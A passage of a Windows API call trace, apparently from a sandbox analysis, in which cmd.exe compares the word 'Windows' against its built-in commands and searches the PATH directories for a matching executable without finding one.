lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0161.696] malloc (_Size=0xffce) returned 0x20b0fa60940 [0161.697] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0161.698] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.698] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.698] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.698] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.698] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.698] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.698] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.698] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.698] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.698] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.698] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.698] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.698] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.699] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.699] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.699] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.699] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.699] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.699] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.699] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.699] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.699] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.699] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.699] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.699] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.700] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.700] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.700] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.700] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.700] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.700] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.700] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.700] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.700] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.700] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.700] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.700] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.700] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.700] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.700] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.700] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.700] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.700] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.700] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.700] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.701] GetProcessHeap () returned 0x20b0f920000 [0161.701] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f20 [0161.705] SetErrorMode (uMode=0x0) returned 0x0 [0161.705] SetErrorMode (uMode=0x1) returned 0x0 [0161.705] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f30, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0161.705] SetErrorMode (uMode=0x0) returned 0x1 [0161.705] GetProcessHeap () returned 0x20b0f920000 [0161.705] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f20, Size=0x48) returned 0x20b0f956f20 [0161.705] GetProcessHeap () returned 0x20b0f920000 [0161.705] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f20) returned 0x48 [0161.706] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.706] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0161.706] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0161.706] GetProcessHeap () returned 0x20b0f920000 [0161.706] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0161.706] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.706] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cfd0 [0161.707] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0161.707] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.707] GetLastError () returned 0x2 [0161.707] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.707] GetLastError () returned 0x2 [0161.707] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.707] GetLastError () returned 0x2 [0161.708] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.708] GetLastError () returned 0x2 [0161.708] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.708] GetLastError () returned 0x2 [0161.708] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.708] GetLastError () returned 0x2 [0161.708] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.708] GetLastError () returned 0x2 [0161.708] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.709] GetLastError () returned 0x2 [0161.709] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.709] GetLastError () returned 0x2 [0161.709] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.709] GetLastError () returned 0x2 [0161.709] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.709] GetLastError () returned 0x2 [0161.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.710] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.710] GetLastError () returned 0x2 [0161.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.710] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0161.710] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0161.710] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.710] GetLastError () returned 0x2 [0161.711] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.711] GetLastError () returned 0x2 [0161.711] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.711] GetLastError () returned 0x2 [0161.711] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.711] GetLastError () returned 0x2 [0161.711] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.712] GetLastError () returned 0x2 [0161.712] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.712] GetLastError () returned 0x2 [0161.712] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.712] GetLastError () returned 0x2 [0161.712] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.712] GetLastError () returned 0x2 [0161.712] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.712] GetLastError () returned 0x2 [0161.713] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.713] GetLastError () returned 0x2 [0161.713] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.713] GetLastError () returned 0x2 [0161.713] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.713] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.714] GetLastError () returned 0x2 [0161.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.714] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.714] GetLastError () returned 0x2 [0161.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.714] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.714] GetLastError () returned 0x2 [0161.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.715] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.715] GetLastError () returned 0x2 [0161.715] ??_V@YAXPEAX@Z () returned 0x1 [0161.715] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.731] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.731] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.731] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.731] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.732] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.732] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.732] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.732] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.732] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.732] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.732] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.732] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.732] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.732] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.732] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.732] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.732] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.732] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.732] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.732] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.732] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.732] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.732] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.732] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.732] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.732] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.732] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.732] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.732] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.732] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.733] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.733] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.733] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.733] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.733] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.733] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.733] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.733] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.733] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.733] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.733] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.733] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.733] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.733] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.733] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.733] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.733] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.733] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.733] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.734] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.734] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.734] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.734] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.734] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.734] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.734] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.734] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.734] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.734] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.735] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.735] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.735] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.737] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.737] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.737] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.737] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.737] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.737] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.737] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.737] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.737] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.737] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.737] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.737] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.737] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.737] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.737] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.737] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.737] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.737] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.737] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.737] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.737] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.737] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.737] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.737] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.737] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.737] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.738] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0161.738] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0161.738] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0161.738] ??_V@YAXPEAX@Z () returned 0x1 [0161.738] GetProcessHeap () returned 0x20b0f920000 [0161.738] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f946660 [0161.753] GetProcessHeap () returned 0x20b0f920000 [0161.753] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f956650 [0161.753] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.753] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.753] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.754] GetProcessHeap () returned 0x20b0f920000 [0161.754] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f80 [0161.754] SetErrorMode (uMode=0x0) returned 0x0 [0161.754] SetErrorMode (uMode=0x1) returned 0x0 [0161.754] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f90, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0161.754] SetErrorMode (uMode=0x0) returned 0x1 [0161.754] GetProcessHeap () returned 0x20b0f920000 [0161.754] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f80, Size=0x48) returned 0x20b0f956f80 [0161.754] GetProcessHeap () returned 0x20b0f920000 [0161.754] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f80) returned 0x48 [0161.754] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.754] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0161.755] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0161.755] GetProcessHeap () returned 0x20b0f920000 [0161.755] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0161.755] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d090 [0161.755] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0161.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.756] GetLastError () returned 0x2 [0161.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.756] GetLastError () returned 0x2 [0161.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.756] GetLastError () returned 0x2 [0161.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.757] GetLastError () returned 0x2 [0161.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.757] GetLastError () returned 0x2 [0161.757] 